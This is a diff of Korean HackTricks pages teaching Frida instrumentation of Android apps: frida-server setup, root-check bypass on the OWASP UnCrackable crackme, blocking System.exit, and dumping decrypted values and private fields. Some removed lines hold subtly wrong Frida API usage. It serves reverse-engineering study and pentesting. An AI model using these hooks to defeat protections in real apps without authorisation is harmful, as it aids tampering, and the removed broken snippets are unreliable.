* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**버그 바운티 팁**: **해커들에 의해 만들어진 프리미엄 버그 바운티 플랫폼인 Intigriti에 가입**하세요! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 참여하여 최대 **$100,000**의 바운티를 받으세요!
|
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
|
||||||
|
|
||||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||||
|
|
||||||
## 설치
|
## 설치
|
||||||
|
|
||||||
**frida 도구**를 설치하세요:
|
**frida tools** 설치:
|
||||||
```bash
|
```bash
|
||||||
pip install frida-tools
|
pip install frida-tools
|
||||||
pip install frida
|
pip install frida
|
||||||
```
|
```
|
||||||
**frida 서버**를 안드로이드에 **다운로드하고 설치**하세요 ([최신 릴리스 다운로드](https://github.com/frida/frida/releases)).\
|
**안드로이드에** **frida server**를 **다운로드하고 설치**하세요 ([최신 릴리스 다운로드](https://github.com/frida/frida/releases)).\
|
||||||
루트 모드에서 adb를 재시작하고 연결한 후, frida-server를 업로드하고 실행 권한을 부여하여 백그라운드에서 실행하는 원라이너입니다:
|
adb를 루트 모드로 재시작하고, 연결하고, frida-server를 업로드하고, 실행 권한을 부여한 후 백그라운드에서 실행하는 원라이너:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -36,40 +37,40 @@ adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
**작동하는지** 확인하세요:
|
**작동하는지 확인**:
|
||||||
```bash
|
```bash
|
||||||
frida-ps -U #List packages and processes
|
frida-ps -U #List packages and processes
|
||||||
frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
|
frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
|
||||||
```
|
```
|
||||||
## 튜토리얼
|
## Tutorials
|
||||||
|
|
||||||
### [튜토리얼 1](frida-tutorial-1.md)
|
### [Tutorial 1](frida-tutorial-1.md)
|
||||||
|
|
||||||
**출처**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
|
**From**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
|
||||||
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
|
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
|
||||||
**소스 코드**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
|
**Source Code**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
|
||||||
|
|
||||||
**[링크를 클릭하여 읽어보세요](frida-tutorial-1.md).**
|
**Follow the [link to read it](frida-tutorial-1.md).**
|
||||||
|
|
||||||
### [튜토리얼 2](frida-tutorial-2.md)
|
### [Tutorial 2](frida-tutorial-2.md)
|
||||||
|
|
||||||
**출처**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (파트 2, 3 및 4)\
|
**From**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\
|
||||||
**APK 및 소스 코드**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
|
**APKs and Source code**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
|
||||||
|
|
||||||
**[링크를 클릭하여 읽어보세요](frida-tutorial-2.md).**
|
**Follow the[ link to read it.](frida-tutorial-2.md)**
|
||||||
|
|
||||||
### [튜토리얼 3](owaspuncrackable-1.md)
|
### [Tutorial 3](owaspuncrackable-1.md)
|
||||||
|
|
||||||
**출처**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
|
**From**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
|
||||||
**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk)
|
**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk)
|
||||||
|
|
||||||
**[링크를 클릭하여 읽어보세요](owaspuncrackable-1.md).**
|
**Follow the [link to read it](owaspuncrackable-1.md).**
|
||||||
|
|
||||||
**더 많은 멋진 Frida 스크립트를 찾을 수 있습니다:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
**You can find more Awesome Frida scripts here:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||||
|
|
||||||
## 빠른 예제
|
## Quick Examples
|
||||||
|
|
||||||
### 명령 줄에서 Frida 호출하기
|
### Calling Frida from command line
|
||||||
```bash
|
```bash
|
||||||
frida-ps -U
|
frida-ps -U
|
||||||
|
|
||||||
|
@ -83,70 +84,6 @@ frida -U --no-pause -l disableRoot.js -f owasp.mstg.uncrackable1
|
||||||
#continue execution with our modified code.
|
#continue execution with our modified code.
|
||||||
```
|
```
|
||||||
### 기본 Python 스크립트
|
### 기본 Python 스크립트
|
||||||
|
|
||||||
```python
|
|
||||||
import frida
|
|
||||||
|
|
||||||
# Attach to the target process
|
|
||||||
session = frida.attach("com.example.app")
|
|
||||||
|
|
||||||
# Define the JavaScript code to be injected
|
|
||||||
js_code = """
|
|
||||||
Java.perform(function () {
|
|
||||||
// Hook the target method
|
|
||||||
var targetClass = Java.use("com.example.app.TargetClass");
|
|
||||||
targetClass.targetMethod.implementation = function () {
|
|
||||||
// Modify the behavior of the target method
|
|
||||||
console.log("Target method hooked!");
|
|
||||||
// Call the original method
|
|
||||||
this.targetMethod();
|
|
||||||
};
|
|
||||||
});
|
|
||||||
"""
|
|
||||||
|
|
||||||
# Create the script
|
|
||||||
script = session.create_script(js_code)
|
|
||||||
|
|
||||||
# Load the script into the target process
|
|
||||||
script.load()
|
|
||||||
|
|
||||||
# Detach from the target process
|
|
||||||
session.detach()
|
|
||||||
```
|
|
||||||
|
|
||||||
위의 Python 스크립트는 [Frida](https://frida.re/)를 사용하여 타겟 프로세스에 주입할 JavaScript 코드를 정의하고 실행하는 기본적인 예제입니다.
|
|
||||||
|
|
||||||
```python
|
|
||||||
import frida
|
|
||||||
|
|
||||||
# 타겟 프로세스에 연결
|
|
||||||
session = frida.attach("com.example.app")
|
|
||||||
|
|
||||||
# 주입할 JavaScript 코드 정의
|
|
||||||
js_code = """
|
|
||||||
Java.perform(function () {
|
|
||||||
// 타겟 메소드 후킹
|
|
||||||
var targetClass = Java.use("com.example.app.TargetClass");
|
|
||||||
targetClass.targetMethod.implementation = function () {
|
|
||||||
// 타겟 메소드의 동작 수정
|
|
||||||
console.log("타겟 메소드 후킹됨!");
|
|
||||||
// 원본 메소드 호출
|
|
||||||
this.targetMethod();
|
|
||||||
};
|
|
||||||
});
|
|
||||||
"""
|
|
||||||
|
|
||||||
# 스크립트 생성
|
|
||||||
script = session.create_script(js_code)
|
|
||||||
|
|
||||||
# 스크립트를 타겟 프로세스에 로드
|
|
||||||
script.load()
|
|
||||||
|
|
||||||
# 타겟 프로세스와 연결 해제
|
|
||||||
session.detach()
|
|
||||||
```
|
|
||||||
|
|
||||||
이 스크립트는 `com.example.app`이라는 타겟 앱에 대해 Frida를 사용하여 JavaScript 코드를 주입하고 실행하는 방법을 보여줍니다. 타겟 앱의 `TargetClass`라는 클래스의 `targetMethod` 메소드를 후킹하여 동작을 수정하고, 원본 메소드를 호출하는 예제입니다.
|
|
||||||
```python
|
```python
|
||||||
import frida, sys
|
import frida, sys
|
||||||
|
|
||||||
|
@ -157,9 +94,9 @@ print('[ * ] Running Frida Demo application')
|
||||||
script.load()
|
script.load()
|
||||||
sys.stdin.read()
|
sys.stdin.read()
|
||||||
```
|
```
|
||||||
### 매개변수가 없는 함수 후킹
|
### 매개변수 없이 함수 훅킹하기
|
||||||
|
|
||||||
`sg.vantagepoint.a.c` 클래스의 `a()` 함수를 후킹하세요.
|
클래스 `sg.vantagepoint.a.c`의 함수 `a()`를 훅킹합니다.
|
||||||
```javascript
|
```javascript
|
||||||
Java.perform(function () {
|
Java.perform(function () {
|
||||||
; rootcheck1.a.overload().implementation = function() {
|
; rootcheck1.a.overload().implementation = function() {
|
||||||
|
@ -169,136 +106,14 @@ return false;
|
||||||
};
|
};
|
||||||
});
|
});
|
||||||
```
|
```
|
||||||
# Frida Tutorial: Hooking Java `exit()`
|
Hook java `exit()`
|
||||||
|
|
||||||
In this tutorial, we will learn how to hook the `exit()` method in Java using Frida. By hooking this method, we can intercept the application's exit calls and perform additional actions before the application terminates.
|
|
||||||
|
|
||||||
## Prerequisites
|
|
||||||
|
|
||||||
Before we begin, make sure you have the following:
|
|
||||||
|
|
||||||
- A rooted Android device or an emulator
|
|
||||||
- Frida installed on your machine
|
|
||||||
- Basic knowledge of JavaScript and Java
|
|
||||||
|
|
||||||
## Steps
|
|
||||||
|
|
||||||
1. Start by creating a new JavaScript file, for example `hook_exit.js`, and open it in a text editor.
|
|
||||||
|
|
||||||
2. Import the necessary Frida modules at the beginning of the file:
|
|
||||||
|
|
||||||
```javascript
|
|
||||||
const { Java } = require('frida');
|
|
||||||
```
|
|
||||||
|
|
||||||
3. Attach Frida to the target application using the package name or process ID:
|
|
||||||
|
|
||||||
```javascript
|
|
||||||
const processName = 'com.example.app';
|
|
||||||
const session = Java.openSession();
|
|
||||||
const target = Java.choose(processName, {
|
|
||||||
onMatch: function (instance) {
|
|
||||||
return instance;
|
|
||||||
},
|
|
||||||
onComplete: function () {
|
|
||||||
console.log('Target not found');
|
|
||||||
session.detach();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
```
|
|
||||||
|
|
||||||
4. Define the hook function that will be executed when `exit()` is called:
|
|
||||||
|
|
||||||
```javascript
|
|
||||||
function onExit() {
|
|
||||||
console.log('Exit called');
|
|
||||||
// Additional actions can be performed here
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
5. Hook the `exit()` method using the `Java.use()` function:
|
|
||||||
|
|
||||||
```javascript
|
|
||||||
const System = Java.use('java.lang.System');
|
|
||||||
System.exit.implementation = function () {
|
|
||||||
onExit();
|
|
||||||
this.exit();
|
|
||||||
};
|
|
||||||
```
|
|
||||||
|
|
||||||
6. Save the JavaScript file and start the Frida server on your Android device or emulator.
|
|
||||||
|
|
||||||
7. Launch the target application on the device or emulator.
|
|
||||||
|
|
||||||
8. Use Frida to inject the JavaScript code into the target application:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
frida -U -l hook_exit.js -f com.example.app
|
|
||||||
```
|
|
||||||
|
|
||||||
Replace `com.example.app` with the package name of the target application.
|
|
||||||
|
|
||||||
9. You should see the message "Exit called" printed in the console whenever the `exit()` method is called in the target application.
|
|
||||||
|
|
||||||
## Conclusion
|
|
||||||
|
|
||||||
By hooking the `exit()` method in Java using Frida, we can intercept the application's exit calls and perform additional actions. This technique can be useful for debugging, analyzing, or modifying the behavior of Android applications during penetration testing.
|
|
||||||
```javascript
|
```javascript
|
||||||
var sysexit = Java.use("java.lang.System");
|
var sysexit = Java.use("java.lang.System");
|
||||||
sysexit.exit.overload("int").implementation = function(var_0) {
|
sysexit.exit.overload("int").implementation = function(var_0) {
|
||||||
send("java.lang.System.exit(I)V // We avoid exiting the application :)");
|
send("java.lang.System.exit(I)V // We avoid exiting the application :)");
|
||||||
};
|
};
|
||||||
```
|
```
|
||||||
# Frida Tutorial: Hook MainActivity `.onStart()` & `.onCreate()`
|
Hook MainActivity `.onStart()` & `.onCreate()`
|
||||||
|
|
||||||
이 튜토리얼에서는 Frida를 사용하여 Android 앱의 `MainActivity` 클래스의 `.onStart()` 및 `.onCreate()` 메서드를 후킹하는 방법을 배우게 됩니다.
|
|
||||||
|
|
||||||
## Frida란?
|
|
||||||
|
|
||||||
Frida는 동적 분석 도구로서, 앱의 실행 중에 코드를 수정하고 감시할 수 있도록 해주는 오픈 소스 프레임워크입니다. Frida를 사용하면 앱의 동작을 실시간으로 조작하고 분석할 수 있습니다.
|
|
||||||
|
|
||||||
## 필요한 도구
|
|
||||||
|
|
||||||
이 튜토리얼을 완료하기 위해 다음 도구들이 필요합니다:
|
|
||||||
|
|
||||||
- Frida CLI (Command Line Interface)
|
|
||||||
- 안드로이드 디바이스 또는 에뮬레이터
|
|
||||||
|
|
||||||
## 단계별 지침
|
|
||||||
|
|
||||||
1. Frida를 설치하고 환경을 설정합니다. Frida CLI를 사용하여 Frida를 설치하고 안드로이드 디바이스 또는 에뮬레이터와 연결합니다.
|
|
||||||
|
|
||||||
2. Frida 스크립트를 작성합니다. 다음과 같은 내용으로 `hook.js` 파일을 생성합니다:
|
|
||||||
|
|
||||||
```javascript
|
|
||||||
Java.perform(function() {
|
|
||||||
var MainActivity = Java.use('com.example.app.MainActivity');
|
|
||||||
|
|
||||||
MainActivity.onStart.implementation = function() {
|
|
||||||
console.log('MainActivity.onStart() hooked');
|
|
||||||
this.onStart();
|
|
||||||
};
|
|
||||||
|
|
||||||
MainActivity.onCreate.implementation = function() {
|
|
||||||
console.log('MainActivity.onCreate() hooked');
|
|
||||||
this.onCreate();
|
|
||||||
};
|
|
||||||
});
|
|
||||||
```
|
|
||||||
|
|
||||||
3. Frida 스크립트를 실행합니다. 다음 명령어를 사용하여 Frida 스크립트를 실행합니다:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
frida -U -l hook.js -f com.example.app
|
|
||||||
```
|
|
||||||
|
|
||||||
4. 앱을 실행합니다. Frida 스크립트가 실행 중인 동안 앱을 실행합니다.
|
|
||||||
|
|
||||||
5. 결과 확인. 앱이 `.onStart()` 또는 `.onCreate()` 메서드를 호출할 때마다 Frida 스크립트에서 정의한 후킹 함수가 실행되고 로그가 출력됩니다.
|
|
||||||
|
|
||||||
## 결론
|
|
||||||
|
|
||||||
이 튜토리얼에서는 Frida를 사용하여 Android 앱의 `MainActivity` 클래스의 `.onStart()` 및 `.onCreate()` 메서드를 후킹하는 방법을 배웠습니다. Frida를 사용하면 앱의 동작을 실시간으로 조작하고 분석할 수 있으므로, 앱의 동작을 이해하고 보안 취약점을 발견하는 데 도움이 됩니다.
|
|
||||||
```javascript
|
```javascript
|
||||||
var mainactivity = Java.use("sg.vantagepoint.uncrackable1.MainActivity");
|
var mainactivity = Java.use("sg.vantagepoint.uncrackable1.MainActivity");
|
||||||
mainactivity.onStart.overload().implementation = function() {
|
mainactivity.onStart.overload().implementation = function() {
|
||||||
|
@ -310,41 +125,7 @@ send("MainActivity.onCreate() HIT!!!");
|
||||||
var ret = this.onCreate.overload("android.os.Bundle").call(this,var_0);
|
var ret = this.onCreate.overload("android.os.Bundle").call(this,var_0);
|
||||||
};
|
};
|
||||||
```
|
```
|
||||||
# 안드로이드 `.onCreate()` 후킹
|
Hook android `.onCreate()`
|
||||||
|
|
||||||
안드로이드 앱을 펜테스팅할 때, `.onCreate()` 메서드를 후킹하는 것은 매우 유용합니다. `.onCreate()` 메서드는 액티비티가 생성될 때 호출되는 메서드로, 앱의 초기화 및 설정을 담당합니다. 이 메서드를 후킹하여 앱의 동작을 조작하거나 중요한 정보를 수집할 수 있습니다.
|
|
||||||
|
|
||||||
Frida를 사용하여 안드로이드 앱의 `.onCreate()` 메서드를 후킹하는 방법은 다음과 같습니다:
|
|
||||||
|
|
||||||
1. Frida를 설치하고 타겟 디바이스에 Frida 서버를 설치합니다.
|
|
||||||
2. Frida 스크립트를 작성하여 `.onCreate()` 메서드를 후킹합니다.
|
|
||||||
3. Frida 스크립트를 실행하여 후킹을 적용합니다.
|
|
||||||
|
|
||||||
다음은 Frida 스크립트의 예시입니다:
|
|
||||||
|
|
||||||
```javascript
|
|
||||||
Java.perform(function() {
|
|
||||||
var targetClass = Java.use('com.example.app.MainActivity');
|
|
||||||
targetClass.onCreate.implementation = function() {
|
|
||||||
console.log('Hooked .onCreate()');
|
|
||||||
// 원하는 동작을 수행합니다.
|
|
||||||
// 예: 중요한 정보를 수집하거나 조작합니다.
|
|
||||||
this.onCreate();
|
|
||||||
};
|
|
||||||
});
|
|
||||||
```
|
|
||||||
|
|
||||||
위 스크립트는 `com.example.app.MainActivity` 클래스의 `.onCreate()` 메서드를 후킹하고, 후킹이 적용되었음을 로그로 출력합니다. 원하는 동작을 수행한 후, `this.onCreate()`을 호출하여 원래의 `.onCreate()` 메서드를 실행합니다.
|
|
||||||
|
|
||||||
Frida 스크립트를 작성한 후, 다음 명령을 사용하여 Frida 스크립트를 실행합니다:
|
|
||||||
|
|
||||||
```
|
|
||||||
frida -U -f com.example.app -l script.js --no-pause
|
|
||||||
```
|
|
||||||
|
|
||||||
위 명령에서 `com.example.app`은 타겟 앱의 패키지 이름이며, `script.js`는 작성한 Frida 스크립트 파일입니다.
|
|
||||||
|
|
||||||
`.onCreate()` 메서드를 후킹하여 안드로이드 앱을 조작하거나 중요한 정보를 수집하는 것은 펜테스팅 과정에서 매우 유용한 기술입니다. Frida를 사용하여 이를 실현할 수 있습니다.
|
|
||||||
```javascript
|
```javascript
|
||||||
var activity = Java.use("android.app.Activity");
|
var activity = Java.use("android.app.Activity");
|
||||||
activity.onCreate.overload("android.os.Bundle").implementation = function(var_0) {
|
activity.onCreate.overload("android.os.Bundle").implementation = function(var_0) {
|
||||||
|
@ -352,9 +133,9 @@ send("Activity HIT!!!");
|
||||||
var ret = this.onCreate.overload("android.os.Bundle").call(this,var_0);
|
var ret = this.onCreate.overload("android.os.Bundle").call(this,var_0);
|
||||||
};
|
};
|
||||||
```
|
```
|
||||||
### 매개변수와 값을 검색하여 함수 후킹하기
|
### 매개변수가 있는 함수 후킹 및 값 검색
|
||||||
|
|
||||||
복호화 함수 후킹하기. 입력값을 출력하고, 원래 함수를 호출하여 입력값을 복호화하고, 마지막으로 평문 데이터를 출력합니다:
|
복호화 함수를 후킹합니다. 입력을 출력하고, 원래 함수를 호출하여 입력을 복호화한 다음, 평문 데이터를 출력합니다:
|
||||||
```javascript
|
```javascript
|
||||||
function getString(data){
|
function getString(data){
|
||||||
var ret = "";
|
var ret = "";
|
||||||
|
@ -379,9 +160,9 @@ send("Decrypted flag: " + flag);
|
||||||
return ret; //[B
|
return ret; //[B
|
||||||
};
|
};
|
||||||
```
|
```
|
||||||
### 함수 후킹 및 입력값으로 호출하기
|
### 함수 후킹 및 입력으로 호출하기
|
||||||
|
|
||||||
문자열을 받는 함수를 후킹하고, 다른 문자열로 호출합니다 ([여기](https://11x256.github.io/Frida-hooking-android-part-2/)에서 가져옴).
|
문자열을 받는 함수를 후킹하고 다른 문자열로 호출하기 ([여기서](https://11x256.github.io/Frida-hooking-android-part-2/))
|
||||||
```javascript
|
```javascript
|
||||||
var string_class = Java.use("java.lang.String"); // get a JS wrapper for java's String class
|
var string_class = Java.use("java.lang.String"); // get a JS wrapper for java's String class
|
||||||
|
|
||||||
|
@ -393,11 +174,11 @@ console.log("Return value: "+ret);
|
||||||
return ret;
|
return ret;
|
||||||
};
|
};
|
||||||
```
|
```
|
||||||
### 클래스의 이미 생성된 객체 가져오기
|
### 이미 생성된 클래스 객체 가져오기
|
||||||
|
|
||||||
만약 생성된 객체의 어트리뷰트를 추출하고 싶다면, 다음을 사용할 수 있습니다.
|
생성된 객체의 일부 속성을 추출하려면 다음을 사용할 수 있습니다.
|
||||||
|
|
||||||
이 예제에서는 클래스 my\_activity의 객체를 가져오고, 객체의 비공개 어트리뷰트를 출력하는 함수 .secret()를 호출하는 방법을 볼 수 있습니다.
|
이 예제에서는 my\_activity 클래스의 객체를 가져오는 방법과 객체의 비공개 속성을 출력하는 .secret() 함수를 호출하는 방법을 보여줍니다:
|
||||||
```javascript
|
```javascript
|
||||||
Java.choose("com.example.a11x256.frida_test.my_activity" , {
|
Java.choose("com.example.a11x256.frida_test.my_activity" , {
|
||||||
onMatch : function(instance){ //This function will be called for every instance found by frida
|
onMatch : function(instance){ //This function will be called for every instance found by frida
|
||||||
|
@ -410,26 +191,25 @@ onComplete:function(){}
|
||||||
## 다른 Frida 튜토리얼
|
## 다른 Frida 튜토리얼
|
||||||
|
|
||||||
* [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs)
|
* [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs)
|
||||||
* [고급 Frida 사용 블로그 시리즈의 1부: IOS 암호화 라이브러리](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
|
* [고급 Frida 사용 블로그 시리즈 1부: IOS 암호화 라이브러리](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**버그 바운티 팁**: 해커들이 만든 프리미엄 버그 바운티 플랫폼인 **Intigriti에 가입**하세요! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 가입하고 최대 **$100,000**의 바운티를 받으세요!
|
**버그 바운티 팁**: **해커를 위해 해커가 만든 프리미엄** **버그 바운티 플랫폼인 Intigriti에** **가입하세요**! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 저희와 함께하고 최대 **$100,000**의 보상을 받기 시작하세요!
|
||||||
|
|
||||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,31 +1,33 @@
|
||||||
<details>
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
|
||||||
|
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
|
||||||
|
|
||||||
|
|
||||||
**다음을 확인하세요: [https://blog.oversecured.com/Android-Access-to-app-protected-components/](https://blog.oversecured.com/Android-Access-to-app-protected-components/)**
|
|
||||||
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
